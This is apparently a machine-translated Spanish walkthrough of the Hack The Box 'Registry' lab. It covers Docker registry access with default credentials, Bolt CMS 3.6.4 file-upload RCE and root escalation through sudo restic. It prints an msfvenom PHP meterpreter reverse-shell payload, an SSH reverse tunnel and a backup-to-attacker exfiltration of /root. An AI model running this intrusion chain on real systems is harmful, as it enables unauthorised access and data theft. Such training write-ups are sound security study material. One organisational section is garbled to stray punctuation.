Hack The Box. Registro de Pasaje. Docker, RCE en CMS Bolt y Restic

imagen

Sigo publicando soluciones enviadas para su posterior procesamiento desde el sitio de HackTheBox . Espero que esto ayude al menos a alguien a desarrollarse en el campo de la seguridad de la información. En este artículo, abordaremos el registro de Docker, ejecutaremos RCE en CMS Bolt y aumentaremos los privilegios utilizando el programa de respaldo Restic.

La conexión al laboratorio es a través de VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde los datos importantes para usted estén disponibles, ya que ingresa a una red privada con personas que saben algo en el campo de la seguridad de la información :)

Información organizacional
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

Recon


Esta máquina tiene una dirección IP 10.10.10.159, que agrego a / etc / hosts.

10.10.10.159    registry.htb

Primero, escaneamos puertos abiertos. Como lleva mucho tiempo escanear todos los puertos con nmap, primero haré esto con masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a una velocidad de 1000 paquetes por segundo.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.159 --rate=1000

imagen

Ahora, para obtener información más detallada sobre los servicios que operan en los puertos, realizaremos un análisis con la opción -A.

nmap -A registry.htb -p22,80,443

imagen

El host tiene 3 puertos abiertos, mientras que el certificado (puerto 443) es para docker.registry.htb. Añádelo a / etc / hosts también.

10.10.10.159    docker.registry.htb

Cuando se enciende a registry.htb, que son recibidos por el símbolo nginx, y para docker.registry.htb, vemos una página en blanco.

Vamos a iterar sobre directorios usando gobuster. En los parámetros indicamos el número de secuencias 128 (-t), URL (-u), diccionario (-w) y extensiones que nos interesan (-x).

gobuster dir -t 128 -u registry.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php

imagen

Backup.php no nos da nada, en Bolt hay un sitio con CMS Bolt, y en la instalación hay algún archivo, descárguelo.

wget http://registry.htb/install/ -O ind

Y descubrimos qué tipo de archivo es.

imagen

Podemos leer "datos comprimidos de gzip" de inmediato.

imagen

De esta forma obtenemos el certificado y enlaces a la documentación de referencia de la ventana acoplable.
En el caso de otro dominio, agregue la opción -k para omitir la verificación del certificado.

gobuster dir -t 128 -k -u docker.registry.htb:443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php

imagen

Ahora pasemos al directorio v2, y nos encontramos con la autenticación.

imagen

Y la combinación más simple admin: admin nos da acceso. El host ejecuta el registro de Docker, así que, como se deduce de la siguiente explicación, veamos sus repositorios en la siguiente dirección: docker.registry.htb / v2 / _catalog .

imagen

Y encontramos un repositorio.

imagen

Instalemos Docker y veamos la documentación de instalación del certificado.

imagen

Vaya al directorio / etc / docker y agregue el certificado del archivo.

sudo mkdir -p "certs.d/docker.registry.htb:443"
sudo nano certs.d/docker.registry.htb\:443/ca.crt
sudo chmod 0600 certs.d/docker.registry.htb:443/ca.crt

imagen

Ahora inicie sesión en la ventana acoplable.

imagen

Ahora carga la imagen.

sudo docker pull docker.registry.htb:443/bolt-image:latest

imagen

Y ejecútalo.

sudo docker run -it docker.registry.htb:443/bolt-image:latest

Y lo primero que vemos es SSH. Afortunadamente, hay una clave, así como una configuración, a partir de la cual queda claro que nuestro usuario está atornillado.

imagen

Pero la cosa es que la clave está encriptada. Esto significa que cuando estén conectados, pedirán una contraseña. El resultado es una búsqueda en los archivos de la cadena "pasar".

grep -i -r "pass" ./etc/

imagen

Este script solicita una contraseña para descifrar la clave. Y la respuesta se da en ella.

imagen

Conéctese vía ssh con nuestra clave.

imagen

Había un archivo backup.php en el host, echemos un vistazo a lo que contiene.

imagen

Así es como se usa sudo, y aparentemente sin una contraseña. Pero Bolt requiere una contraseña.

imagen

Esto significa que necesitamos obtener el usuario del servicio. Como se usa CMS Bolt, podemos acceder a la base de datos sqlite. Descargalo.

scp -i bolt_key bolt@10.10.10.159:/var/www/html/bolt/app/database/bolt.db ./

Comencemos a trabajar con la base de datos.

sqlite3 bolt.db

Veamos las mesas.

imagen

Y obtenga las entradas de la tabla bolt_users.

imagen

Entonces tenemos un hash de administrador. Iterar sobre él usando el JTR.

imagen

Ahora inicie sesión en Bolt como administrador. Y observamos la versión 3.6.4.

imagen

Hay exploits para esta versión.

imagen

La vulnerabilidad es que podemos agregar a la configuración la extensión de archivo que necesitamos descargar y luego cargar el archivo. Hagamos un archivo php con una carga (diré de antemano que simplemente no funcionó para volver a conectarse, por lo que se reenvió el puerto 4321 :) ssh -i ./bolt_key bolt@registry.htb -R:432:10.0.0.0:4321.

msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php

Y ejecuta al oyente.

imagen

Veamos Configuración -> Configuración principal y agreguemos la extensión php para poder descargar el archivo.

imagen

A continuación, vaya a Administración de archivos -> Cargar archivos y agregue el archivo. Después de acceder, veremos la conexión.

imagen

Inicie el shell bash, también observamos que estamos trabajando en nombre del usuario del servicio.

imagen

Verifiquemos sudo, observe que el comando de backup.php se puede ejecutar bajo sudo sin contraseña.

imagen

Restic es un programa de respaldo escrito en Golang. Como podemos hacer una copia de seguridad en sudo, podemos copiar todo el directorio raíz. Primero, veamos el puerto 8000.

ssh -i ./bolt_key bolt@registry.htb -R:8000:0.0.0.0:8000

Instale y ejecute rest-server (en 8000 publicaciones sin autenticación).

imagen

Vamos a conectar e inicializar la copia de seguridad (restr1).

imagen

Ahora haga una copia de seguridad del directorio raíz.

imagen

La copia de seguridad se guardó en la máquina local. Veamos todos los archivos guardados. Encuentra la clave SSH.

restic -r /tmp/restic/restr1/ ls latest

imagen

Restaurarlo

imagen

Conectar

imagen

Tenemos acceso completo al sistema.

Puedes unirte a nosotros en Telegram . Allí puede encontrar materiales interesantes, cursos combinados, así como software. Formemos una comunidad en la que haya personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.

All Articles